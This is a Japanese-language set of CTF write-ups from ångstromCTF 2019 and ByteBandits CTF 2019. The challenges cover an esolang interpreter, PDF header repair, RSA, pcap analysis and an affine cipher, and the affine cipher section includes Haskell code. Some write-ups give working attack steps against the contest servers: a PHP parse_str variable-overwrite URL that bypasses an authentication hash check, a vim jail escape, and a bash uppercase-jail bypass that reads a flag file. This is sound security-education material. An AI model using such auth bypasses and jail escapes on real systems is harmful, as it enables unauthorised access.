Just Letters (ångstromCTF 2019)

解説

結構面白かった。

とりあえず接続して適当なコマンドを打ってみる。

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> a

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> ls

全然わからない。何も表示されない。問題文のリンク先に飛ぶと AlphaBeta っていう brainfuck's 系の言語の説明があった。

Example の Hello World! を実際に試す。

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> cccCISccccCIScccCIYxSGSHaaCLgDLihhhDLDLgggDLTTGaaCLSGccbbbCLDLgggDLjggggDLSHDLTTGaaaCL
Hello World!

なんかでた。理解を深めるため、命令を短くする。wikipedia の内容によるうと

L outputs a character to the screen

ということなので、最初に出現する L 以降を削除してみる。

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> cccCISccccCIScccCIYxSGSHaaCL
H

予想通り、1文字だけ出力された。また、文字より数値を出力させた方がデバッグしやすいので

M outputs a number to the screen

の通り M を使う。また、レジスタ1,2は a, g でインクリメンタルできるらしい。

a adds 1 to register 1
g adds 1 to register 2

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> aM
0

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> gM
0⏎

全然変わらない。ということはレジスタ3が怪しい。

C sets register 3 to the value of register 1
D sets register 3 to the value of register 2

レジスタ3に値をセットするためには CD を使えば良さそう。

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> aCM
1

ビンゴ。つまり、レジスタ1,2でメモリの内容を読み取り、その値をレジスタ3にコピーしたあとで出力すれば良さそうだとわかった。

あとは wikipedia の内容をもう少し読めば

G sets register 1 to the memory at the memory pointer
S adds 1 to the register

が使えそうだとわかる。またフラグはメモリの先頭から始まっているらしいので

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> GCM
97

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> GCL
a

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> GCLSGCL
ac

解けそう。最後に適当に繰り返して終わり。

λ nc misc.2019.chall.actf.co 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> GCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCL
actf{esolangs_sure_are_fun!}

フラグ

actf{esolangs_sure_are_fun!}

参考リソース

Control You (ångstromCTF 2019)

解説

リンク先に飛ぶと目が痛いページが・・・。

ソースコードにフラグが書いてあった。

λ curl https://controlyou.2019.chall.actf.co/ | grep actf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 991 100 991 0 0 1256 0 --:--:-- --:--:-- --:--:-- 1257
if (flag.value === "actf{control_u_so_we_can't_control_you}") {

フラグ

actf{control_u_so_we_can't_control_you}

Blank Paper (ångstromCTF 2019)

解説

壊れて開けない PDF からフラグを回収する問題。とりあえずpdfをダウンロードします。

マジックバイトが抜けている可能性があるので、確認します。

λ xxd blank_paper.pdf | head -n 1
00000000: 0000 0000 2d31 2e35 0a25 bff7 a2fe 0a33 ....-1.5.%.....3

予想通りです。あとは PDF のマジックバイトを公式リファレンスで確認して、その値で上書きすれば良さそうですね。

Document Management – Portable Document Format – Part 1: PDF 1.7, First Edition7.5.2 File Header によると

The first line of a PDF file shall be a header consisting of the 5 characters %PDF- followed by a version number of the form 1.N, where N is a digit between 0 and 7

と記載があるので、最初の5文字は %PDF- で固定ということがわかりました。それぞれの 16進数の値は以下の通りです。

Ascii hex
% 0x25
P 0x50
D 0x44
F 0x46
- 0x2d

今回は先頭4バイトが抜けているので 2550 4446 とすれば良いことがわかりました。

コンテスト中は vim で上書きしましたが、勉強のため dd コマンドで作業してみます。

λ echo -n "%PDF" | dd of=blank_paper.pdf bs=1 conv=notrunc
4+0 records in
4+0 records out
4 bytes transferred in 0.000802 secs (4987 bytes/sec)
dd コマンドのオプション 意味
of 標準出力の代わりにファイルへ書き込む。
bs 1回に読み書きするブロックサイズ(バイト数
conv 指定しないと書き換えたデータがファイルの末尾となり、以降に存在していたデータは削除されてしまう。

ちゃんと変更されているかどうか確認してみます。

λ xxd blank_paper.pdf | head -n 1
00000000: 2550 4446 2d31 2e35 0a25 bff7 a2fe 0a33 %PDF-1.5.%.....3

良さそうですね。最後に pdf を開いてフラグゲット。

別解

qpdf を使えば、何もしなくても正しい PDF に変換することができます。

λ qpdf --qdf blank_paper.pdf out.pdf
WARNING: blank_paper.pdf: can't find PDF header
qpdf: operation succeeded with warnings; resulting file may have some problems

フラグ

actf{knot_very_interesting}

参考リソース

IRC (ångstromCTF 2019)

解説

良くあるフラグ確認系の問題。IRCにログインするだけ。

フラグ

actf{like_discord_but_worse}

Really Secure Algorithm (ångstromCTF 2019)

解説

really_secure_algorithm.txt の内容は以下の通り。

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

RSA 暗号の p, q が与えられている問題なので、すぐに解ける。

過去に同じような問題をやったことがあったので、その時のコードを流用。

import Crypto.PubKey.RSA
import Crypto.Number.ModArithmetic
import Crypto.Number.Serialize

import Data.Text
import Data.Text.Encoding

solve :: Integer -> Integer -> Integer -> Integer -> Text
solve p q e c = toDisplay $ expSafe c d n
where
n = p * q
d = case generateWith (p,q) 0 e of
Nothing -> error "generateWith error"
Just (_pubKey, privateKey) -> private_d privateKey

toDisplay :: Integer -> Text
toDisplay = decodeUtf8 . i2osp

試してみます。

> p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
> q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
> e = 65537
> c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349
> solve p q e c
"actf{really_securent_algorithm}"

フラグ

actf{really_securent_algorithm}

Let it go (ByteBandits CTF 2019)

振り返り

解けなかったので writeup を読んで理解を深める。

challenge.pcap というファイルのみが与えられるので、wireshark で分析する系。

192.168.43.105 のプライベートアドレスから始まっているのに No.12 のパケットからは 70.168.43.105 というように意図的に変化しているという気づきが必要だったみたい。

なので ip.dst_host matches ".168.43.105" && !ip.dst_host == 192.168.43.105 というフィルタで見やすくする。

あとは手作業で Ascii コード表を見ながら変換しても良いけど、今回は勉強のために tshark を使います。

tshark の使い方

ファイルを読み込むためには -r オプションを利用します。

λ tshark -r challenge.pcap
1 0.000000 192.168.43.105 → 139.59.43.68 NTP 92 NTP Version 4, client
2 0.084211 139.59.43.68 → 192.168.43.105 NTP 92 NTP Version 4, server
3 0.999783 192.168.43.105 → 14.139.56.74 NTP 92 NTP Version 4, client
4 1.094599 14.139.56.74 → 192.168.43.105 NTP 92 NTP Version 4, server
5 2.002148 192.168.43.105 → 139.59.82.60 NTP 92 NTP Version 4, client
6 2.094437 139.59.82.60 → 192.168.43.105 NTP 92 NTP Version 4, server
...

フィルタリングするためには、続けて文字列を指定するだけです。

λ tshark -r challenge.pcap 'ip.dst_host matches ".168.43.105" && !ip.dst_host == 192.168.43.105'
12 10.061191 13.126.27.131 → 70.168.43.105 NTP 92 NTP Version 4, server
14 12.061155 13.126.37.14 → 76.168.43.105 NTP 92 NTP Version 4, server
16 66.079619 139.59.43.68 → 65.168.43.105 NTP 92 NTP Version 4, server
18 70.090156 14.139.56.74 → 71.168.43.105 NTP 92 NTP Version 4, server
20 71.090544 139.59.82.60 → 123.168.43.105 NTP 92 NTP Version 4, server
22 73.079222 123.108.200.124 → 87.168.43.105 NTP 92 NTP Version 4, server
24 77.058757 52.66.5.185 → 72.168.43.105 NTP 92 NTP Version 4, server
27 78.057764 13.126.27.131 → 51.168.43.105 NTP 92 NTP Version 4, server
28 78.057826 13.126.37.14 → 82.168.43.105 NTP 92 NTP Version 4, server
30 134.099006 139.59.43.68 → 51.168.43.105 NTP 92 NTP Version 4, server
32 137.099317 139.59.82.60 → 95.168.43.105 NTP 92 NTP Version 4, server
34 138.098850 14.139.56.74 → 72.168.43.105 NTP 92 NTP Version 4, server
36 142.085199 123.108.200.124 → 52.168.43.105 NTP 92 NTP Version 4, server
39 144.066050 52.66.5.185 → 86.168.43.105 NTP 92 NTP Version 4, server
40 144.066092 13.126.27.131 → 51.168.43.105 NTP 92 NTP Version 4, server
44 203.080395 139.59.82.60 → 95.168.43.105 NTP 92 NTP Version 4, server
45 203.097768 139.59.43.68 → 85.168.43.105 NTP 92 NTP Version 4, server
47 206.261853 14.139.56.74 → 95.168.43.105 NTP 92 NTP Version 4, server
49 210.087363 123.108.200.124 → 66.168.43.105 NTP 92 NTP Version 4, server
51 211.065469 52.66.5.185 → 51.168.43.105 NTP 92 NTP Version 4, server
53 213.066223 13.126.27.131 → 51.168.43.105 NTP 92 NTP Version 4, server
56 214.558692 91.189.89.198 → 110.168.43.105 NTP 92 NTP Version 4, server
58 269.086478 139.59.82.60 → 95.168.43.105 NTP 92 NTP Version 4, server
60 272.086971 139.59.43.68 → 65.168.43.105 NTP 92 NTP Version 4, server
62 273.098467 14.139.56.74 → 108.168.43.105 NTP 92 NTP Version 4, server
64 276.138734 123.108.200.124 → 108.168.43.105 NTP 92 NTP Version 4, server
66 279.065322 13.126.27.131 → 95.168.43.105 NTP 92 NTP Version 4, server
68 280.066704 52.66.5.185 → 77.168.43.105 NTP 92 NTP Version 4, server
70 282.140612 13.126.37.14 → 89.168.43.105 NTP 92 NTP Version 4, server
72 335.108844 139.59.82.60 → 95.168.43.105 NTP 92 NTP Version 4, server
74 338.097630 139.59.43.68 → 76.168.43.105 NTP 92 NTP Version 4, server
76 342.109866 14.139.56.74 → 105.168.43.105 NTP 92 NTP Version 4, server
78 343.098383 123.108.200.124 → 70.168.43.105 NTP 92 NTP Version 4, server
80 345.075915 13.126.27.131 → 51.168.43.105 NTP 92 NTP Version 4, server
82 348.068367 52.66.5.185 → 125.168.43.105 NTP 92 NTP Version 4, server

ip.dst のフィールドのみを取り出すためには -T fields -e ip.dst を指定します。

λ tshark -T fields -e ip.dst -r challenge.pcap 'ip.dst_host matches ".168.43.105" && !ip.dst_host == 192.168.43.105'
70.168.43.105
76.168.43.105
65.168.43.105
71.168.43.105
123.168.43.105
87.168.43.105
72.168.43.105
51.168.43.105
82.168.43.105
51.168.43.105
95.168.43.105
72.168.43.105
52.168.43.105
86.168.43.105
51.168.43.105
95.168.43.105
85.168.43.105
95.168.43.105
66.168.43.105
51.168.43.105
51.168.43.105
110.168.43.105
95.168.43.105
65.168.43.105
108.168.43.105
108.168.43.105
95.168.43.105
77.168.43.105
89.168.43.105
95.168.43.105
76.168.43.105
105.168.43.105
70.168.43.105
51.168.43.105
125.168.43.105

あとは awk などを使って適当に出力すれば良いですね。

λ tshark -T fields -e ip.dst -r challenge.pcap 'ip.dst_host matches ".168.43.105" && !ip.dst_host == 192.168.43.105' | awk -F. '{printf "%c",$1}'
FLAG{WH3R3_H4V3_U_B33n_All_MY_LiF3}

まとめ

FLAG{} の ascii コード覚えた方が良いかもしれない・・・。

f l a g F L A G { }
10進 102 108 97 103 70 76 65 71 123 125
16進 0x66 0x6c 0x61 0x67 0x46 0x4c 0x41 0x47 0x7b 0x7d

フラグ

FLAG{WH3R3_H4V3_U_B33n_All_MY_LiF3}

参考リソース

oldschool (ByteBandits CTF 2019)

振り返り

解けなかったので writeup を読んで理解を深める。

oldschool という単語なのでシーザー暗号 (Caesar cipher) だと思ったらアフィン暗号 (Affine Cipher) だった・・・。

アフィン暗号 (Affine Cipher)

Wikipedia によると定義は以下の通り。E と D はそれぞれ Encryption と Decryption の頭文字。

$$ \begin{aligned} E(x) & = (ax + b) \bmod m \\ D(x) & = a^{-1} (x-b) \bmod m \end{aligned} $$

それぞれの変数は以下の通り

変数名 意味
m 出現する文字の種類数 (アルファベットなら 26, 平仮名なら50, etc)
a 暗号化の鍵1, ただし a と m が互いに素 (最大公約数が1) になるように a を選ぶ
b 暗号化の鍵2
x 数値に変換した平文, 0 ~ m-1 のどれかと対応する

ここで \( a^{-1} \)は modular multiplicative inverse of a modulo m であり、以下の等式を満たす。

$$ \begin{aligned} 1 = a a^{-1} \bmod m \end{aligned} $$

ちゃんと復号できることの証明

法則名 等式
Identity \( (a \bmod m) \bmod m = a \bmod m \)
Distributive \( a+b \bmod m = ((a \bmod m) + (b \bmod m)) \bmod m \)
Distributive \( ab \bmod m = ((a \bmod m) (b \bmod m)) \bmod m \)

証明

$$ \begin{aligned} D(E(x)) & = a^{-1} (E(x) - b) \bmod m \\ & = a^{-1} (((ax + b) \bmod m) - b) \bmod m \\ & = ((a^{-1} \bmod m) ((((ax + b) \bmod m) - b) \bmod m)) \bmod m \\ & = ((a^{-1} \bmod m) (( (((ax + b) \bmod m) \bmod m) + (-b) \bmod m) \bmod m)) \bmod m \\ & = ((a^{-1} \bmod m) (( ((ax + b) \bmod m) + (-b) \bmod m) \bmod m)) \bmod m \\ & = ((a^{-1} \bmod m) (( ax + b - b) \bmod m)) \bmod m \\ & = ((a^{-1} \bmod m) (ax \bmod m)) \bmod m \\ & = a^{-1}ax \bmod m \\ & = (a^{-1}a \bmod m) (x \bmod m) \bmod m \\ & = (x \bmod m) \bmod m \\ & = x \bmod m \\ & = x \end{aligned} $$

シーザー暗号との関係

\(a=1\)の時はシーザー暗号になります。

具体例

具体例として大文字のアルファベット26文字を考えます。(m=26)

そのため、アルファベットと数の対応表は以下の通り。

平文 | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
—-|
x | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25

暗号化

平文が AFFINE CIPHER とした場合の各文字が対応する数値および、暗号化の鍵を \( a=5, b=8 \) を選んだ場合の暗号化後の数値、最終的な暗号文を表にすると以下の通り。

平文 | A | F | F | I | N | E | C | I | P | H | E | R
—–|
x | 0 | 5 | 5 | 8 | 13 | 4 | 2 | 8 | 15 | 7 | 4 | 17
(5x + 8) | 8 | 33 | 33 | 48 | 73 | 28 | 18 | 48 | 83 | 43 | 28 | 93
(5x + 8) mod 26 | 8 | 7 | 7 | 22 | 21 | 2 | 18 | 22 | 5 | 17 | 2 | 15
暗号文 | I | H | H | W | V | C | S | W | F | R | C | P

この結果から、AFFINE CIPHERIHHWVC SWFRCP に暗号化されることがわかります。

復号化

復号化の第一ステップとして\( a^{-1} \)の値を考えてみましょう。

\( a^{-1} \) というのは次の等式を満たす数 (モジュラ逆数) でした。

$$ \begin{aligned} 1 = a a^{-1} \bmod m \end{aligned} $$

上記の等式を理解するために ベズーの等式(Bézout's identity) と呼ばれる定理を見てみましょう。(\(a, b\)は0ではない整数です)

$$ \begin{aligned} ax+by=gcd(a,b) \end{aligned} $$

ここで、わかりやすさのために変数名を変更します。

$$ \begin{aligned} aa^{-1}+my &= gcd(a,m) \end{aligned} $$

さらに \(a\) と \(m\) が互いに素であると仮定しているため

$$ \begin{aligned} aa^{-1}+my &= gcd(a,m) = 1 \end{aligned} $$

が成り立ち、式を整理すると

$$ \begin{aligned} aa^{-1}+my &= 1 \\ aa^{-1}-1 &= (-y)m \end{aligned} $$

となり、\(\mod m\) で表せば

$$ \begin{aligned} aa^{-1} \equiv 1 (\mod m) \end{aligned} $$

となります。これで最初の等式と関連する合同式を導くことができました。\( a^{-1} \) は \(a\) と \(m\) が互いに素であれば必ず存在するという事実は、このベズーの等式によって保証されています。

では次に、実際に \(a^{-1}\) の値を計算するためにはどうすれば良いのでしょうか?そのためには、拡張ユークリッドの互除法を使います。

ユークリッドの互除法により、与えられた2つの数の最大公約数を求めることができますが、拡張ユークリッドの互除法は最大公約数とともに、ベズーの等式を満たす\(x,y\)の組を求めることができます。

$$ \begin{aligned} ax+by &= gcd(a,b) \end{aligned} $$

アルゴリズムの詳細についてはここでは説明しませんが、計算すると \(a^{-1} = -5\) が求まります。

今回の場合 \(a^{-1}\) の値として \( 21 \) を選びました。(拡張ユークリッドの互除法で計算すると \(-5\) が出てきますが、わかりやすさのため +26 した 21 を使うことにします)

先ほどの等式を満たすかどうか確認してみます。

$$ \begin{aligned} & 5 \cdot 5^{-1} \bmod 26 \\ &= 5 \cdot 21 \bmod 26 \\ &= 105 \bmod 26 \\ &= 1 \end{aligned} $$

問題なさそうです。

これで必要な値が全て求まったため、実際に計算できるようになりました。

暗号文 | I | H | H | W | V | C | S | W | F | R | C | P
—–|
y | 8 | 7 | 7 | 22 | 21 | 2 | 18 | 22 | 5 | 17 | 2 | 15
21(y − 8) | 0 | −21 | −21 | 294 | 273 | −126 | 210 | 294 | −63 | 189 | −126 | 147
21(y − 8) mod 26 | 0 | 5 | 5 | 8 | 13 | 4 | 2 | 8 | 15 | 7 | 4 | 17
平文 | A | F | F | I | N | E | C | I | P | H | E | R

この結果から、IHHWVC SWFRCPAFFINE CIPHER に正しく復号できたことがわかります。

Haskell で実装してみる

ここまで理解すれば実際に実装できそうなので、Haskell でアフィン暗号を暗号化・復号化する関数を書いてみましょう。

まずは encryption 関数を定義します。

module Affine (encryption) where

type Key = (Int, Int) -- 暗号鍵 a, b のペア

encryption :: Key -> Char -> Char
encryption (a,b) c = substD e
where
e = (a*x + b) `mod` m
m = 26
x = substE c

substE :: Char -> Int
substE c = fromEnum c - fromEnum 'A'

substD :: Int-> Char
substD i = toEnum (i + fromEnum 'A')

素朴に書けばこんな感じです。

> encryption (5,8) 'A'
'I'

> encryption (5,8) 'F'
'H'

> map (encryption (5,8) "AFFINE CIPHER"
"IHHWVCZSWFRCP"

空白の扱いで、ちょっとバグってますね。もう少し良い感じに直しましょう。

encryption :: Key -> Char -> Char
encryption (a,b) c
| c `elem` ['A'..'Z'] = substD e
| otherwise = c
where
e = (a*x + b) `mod` m
m = 26
x = substE c
> map (encryption (5,8)) "AFFINE CIPHER"
"IHHWVC SWFRCP"

良い感じになりました。

次に復号化する関数 decryption を定義します。拡張ユークリッドの互除法の計算は cryptonite の gcde を利用しています。

decryption :: Key -> Char -> Char
decryption (a,b) c
| c `elem` ['A'..'Z'] = substD e
| otherwise = c
where
e = fromIntegral invA * (x-b) `mod` m
m = 26
x = substE c
(invA, _y, _v) = gcde (toInteger a) (toInteger m)
> map (decryption (5,8)) "IHHWVC SWFRCP"
"AFFINE CIPHER"

これで暗号・復号のための処理が実装できました。

今回の問題

Csj mexp vz gvmM3wjkCMwnHCs3XmMvkjDvQs3w が暗号文です。暗号化の鍵である \(a, b\) は不明です。

そのため、適当な ab を選んで試してみましょう。26 と互いに素な最小の a は 3 なのでそれを使います。b は 0~25 までの全てを表示するようにしてみましょう。とりあえず、動かしたいので全部大文字にしておきます。

crack :: Int -> String -> IO ()
crack a crypted = forM_ [0..25] $ \i -> do
putStr $ show i <> ": "
putStrLn $ map (decryption (a, i) . toUpper) crypted
> crack 3 "Csj mexp vz gvmM3wjkCMwnHCs3XmMvkjDvQs3w"
0: SGD EKZF HR CHEE3QDMSEQNLSG3ZEEHMDBHOG3Q
1: JXU VBQW YI TYVV3HUDJVHECJX3QVVYDUSYFX3H
2: AOL MSHN PZ KPMM3YLUAMYVTAO3HMMPULJPWO3Y
3: RFC DJYE GQ BGDD3PCLRDPMKRF3YDDGLCAGNF3P
4: IWT UAPV XH SXUU3GTCIUGDBIW3PUUXCTRXEW3G
5: ZNK LRGM OY JOLL3XKTZLXUSZN3GLLOTKIOVN3X
6: QEB CIXD FP AFCC3OBKQCOLJQE3XCCFKBZFME3O
7: HVS TZOU WG RWTT3FSBHTFCAHV3OTTWBSQWDV3F
8: YMJ KQFL NX INKK3WJSYKWTRYM3FKKNSJHNUM3W
9: PDA BHWC EO ZEBB3NAJPBNKIPD3WBBEJAYELD3N
10: GUR SYNT VF QVSS3ERAGSEBZGU3NSSVARPVCU3E
11: XLI JPEK MW HMJJ3VIRXJVSQXL3EJJMRIGMTL3V
12: OCZ AGVB DN YDAA3MZIOAMJHOC3VAADIZXDKC3M
13: FTQ RXMS UE PURR3DQZFRDAYFT3MRRUZQOUBT3D
14: WKH IODJ LV GLII3UHQWIURPWK3DIILQHFLSK3U
15: NBY ZFUA CM XCZZ3LYHNZLIGNB3UZZCHYWCJB3L
16: ESP QWLR TD OTQQ3CPYEQCZXES3LQQTYPNTAS3C
17: VJG HNCI KU FKHH3TGPVHTQOVJ3CHHKPGEKRJ3T
18: MAX YETZ BL WBYY3KXGMYKHFMA3TYYBGXVBIA3K
19: DRO PVKQ SC NSPP3BOXDPBYWDR3KPPSXOMSZR3B
20: UIF GMBH JT EJGG3SFOUGSPNUI3BGGJOFDJQI3S
21: LZW XDSY AK VAXX3JWFLXJGELZ3SXXAFWUAHZ3J
22: CQN OUJP RB MROO3ANWCOAXVCQ3JOORWNLRYQ3A
23: THE FLAG IS DIFF3RENTFROMTH3AFFINECIPH3R
24: KYV WCRX ZJ UZWW3IVEKWIFDKY3RWWZEVTZGY3I
25: BPM NTIO QA LQNN3ZMVBNZWUBP3INNQVMKQXP3Z

\(a=3, b=23\) の時に THE FLAG IS DIFF3RENTFROMTH3AFFINECIPH3R ってなってますね。大文字と小文字の両方に対応できるように改良します。

decryption :: Key -> Char -> Char
decryption (a,b) c
| c `elem` ['A'..'Z'] || c `elem` ['a'..'z'] = substD base e
| otherwise = c
where
e = fromIntegral invA * (x-b) `mod` m
m = 26
x = substE c
(invA, _y, _v) = gcde (toInteger a) (toInteger m)
base = if isUpper c then 'A' else 'a'

substE :: Char -> Int
substE c = fromEnum c - fromEnum base
where
base = if isUpper c then 'A' else 'a'

substD :: Char -> Int-> Char
substD base i = toEnum (i + fromEnum base)

crack :: Int -> String -> IO ()
crack a crypted = forM_ [0..25] $ \i -> do
putStr $ show i <> ": "
putStrLn $ map (decryption (a, i)) crypted
> map (decryption (3,23)) "Csj mexp vz gvmM3wjkCMwnHCs3XmMvkjDvQs3w"
"The flag is difF3renTFroMTh3AfFineCiPh3r"

ということで復習完了。

参考にした writeup は Cryptii というサービスでポチポチ数値変えてました。

フラグ

flag{difF3renTFroMTh3AfFineCiPh3r}

参考リソース

EasyPHP (ByteBandits CTF 2019)

解説

http://easyphp.ctf.euristica.in/ にアクセスすると以下の PHP のコードが表示される。

<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
//echo $hashed_input.'\n';
if($hashed_input!==$hashed_key){
die("GTFO!");
}

echo file_get_contents("/flag");
}
}else{
show_source(__FILE__);
}
?>

コードを読むと以下の部分はすぐにわかる。

  • クエリ文字列パラメータを指定することで1つ目 (と2つ目) の if を突破できる
    • 1つ目のif: if(isset($parsed["query"]))
    • 2つ目のif: if($parsed_query!=NULL)
  • $action には ?action=xxxx で指定した値が入るので、?action=auth とすれば3つ目の if が突破できる
    • 3つ目のif: if($action==="auth")

問題は4つ目の if($hashed_input!==$hashed_key) をどうするかという感じ。

この問題では parse_str に着目する。マニュアルによると

URL 経由で渡されるクエリ文字列と同様に encoded_string を処理し、現在のスコープに変数をセットします。
parse_str ( string $encoded_string [, array &$result ] ) : void

と説明がある。つまり、定義済みの変数を上書きするようだ・・・。($parsed_query = parse_str($query); このように代入してるけど無意味)

ここまでわかればあとは簡単で、方針は以下の通り

  1. $hashed_input$hashed_key を同じ値にしたい
  2. $hashed_key は変更できない感じがあるが、実際にはクエリパラメータに hashed_key=xxxx を渡せば parse_str により任意の値に上書きできる
  3. $hashed_input は与えられた文字列を sha256 でハッシュ化しているだけ

以上のことから http://easyphp.ctf.euristica.in/?action=auth&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&key=a のようなURLにアクセスすればフラグゲット

フラグ

flag{ezPz_pHp_0b9fd0f8}

参考リソース

vish (ByteBandits CTF 2019)

解説

とりあえず http://13.234.130.76:7003 にアクセスしてみる。

最近使ったことがあるので xterm.jsvim のフロントエンドを作ってることはすぐにわかった。vim 系の問題は過去に何回かみたことがあって、基本的に無効化されたキー入力を突破してコマンドを実行する系だった。

今回の問題は websockets を使ってサーバーサイドで処理が行われているため、クライアントサイドをいじっても意味ない (たぶん)

とりあえず vim のマニュアル (日本語) を読み進めながら、1つずつ効果があるかどうか試していたところ CTRL-W_: でコマンドが使えた。

あとは簡単で :!ls / でフラグっぽいのを探して

[No write since last change]
bin boot dev etc flag.txt go hello home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimrc

Press ENTER or type command to continue

flag.txt があったので、:!cat /flag.txt で終わり。

[No write since last change]
flag{bram_loves_jails}

フラグ

flag{bram_loves_jails}

参考リソース

bash-fu (ByteBandits CTF 2019)

解説

とりあえず nc 13.234.130.76 7002 を実行する。

$ nc 13.234.130.76 7002
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$ ls
ls
bash: LS: command not found
bash-4.4$ pwd
pwd
bash: PWD: command not found

一瞬、CAPSLOCK がバグったのかと思ったけど、そうではなくこれが問題だった。

入力した文字が全て大文字として解釈されるため、コマンドが何も実行できないという感じ。

ちょっと調べたら ${v,,} で小文字にできることがわかったので、あとは簡単だった。

bash-4.4$ l="ls /"
bash-4.4$ ${l,,}
${l,,}
bin etc jail media opt root sbin sys usr
dev home lib mnt proc run srv tmp var

jail っていうディレクトリは普通存在しないし、普通に怪しいのでこの中を ls してみる。

bash-4.4$ l="ls /jail/"
bash-4.4$ ${l,,}
${l,,}
flag.txt jail

flag.txt にたぶんフラグが書いてあるだろうから、cat して終わり。

bash-4.4$ l="cat /jail/flag.txt"
l="cat /jail/flag.txt"
bash-4.4$ ${l,,}
${l,,}
flag{b@$h_jails_are_3asy_p3@sy}

失敗談

最初は l="bash" で入って cat /jial/flag.txt したんだけど、なぜか上手く行かなかった。

今試してみたら上手くいったので、何か変なことしてたんだろうなぁ・・・。

bash-4.4$ l="bash"; ${l,,}
l="bash"; ${l,,}
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied

bash-4.4$ ls -al /jail/
ls -al /jail/
total 16
drwxr-xr-x 1 root root 4096 Apr 13 03:22 .
drwxr-xr-x 1 root root 4096 Apr 13 14:30 ..
-rw-r--r-- 1 root root 32 Apr 11 21:32 flag.txt
-rwxrwxrwx 1 root root 466 Apr 12 16:45 jail

bash-4.4$ cat /jail/flag.txt
cat /jail/flag.txt
flag{b@$h_jails_are_3asy_p3@sy}

フラグ

flag{b@$h_jails_are_3asy_p3@sy}

参考リソース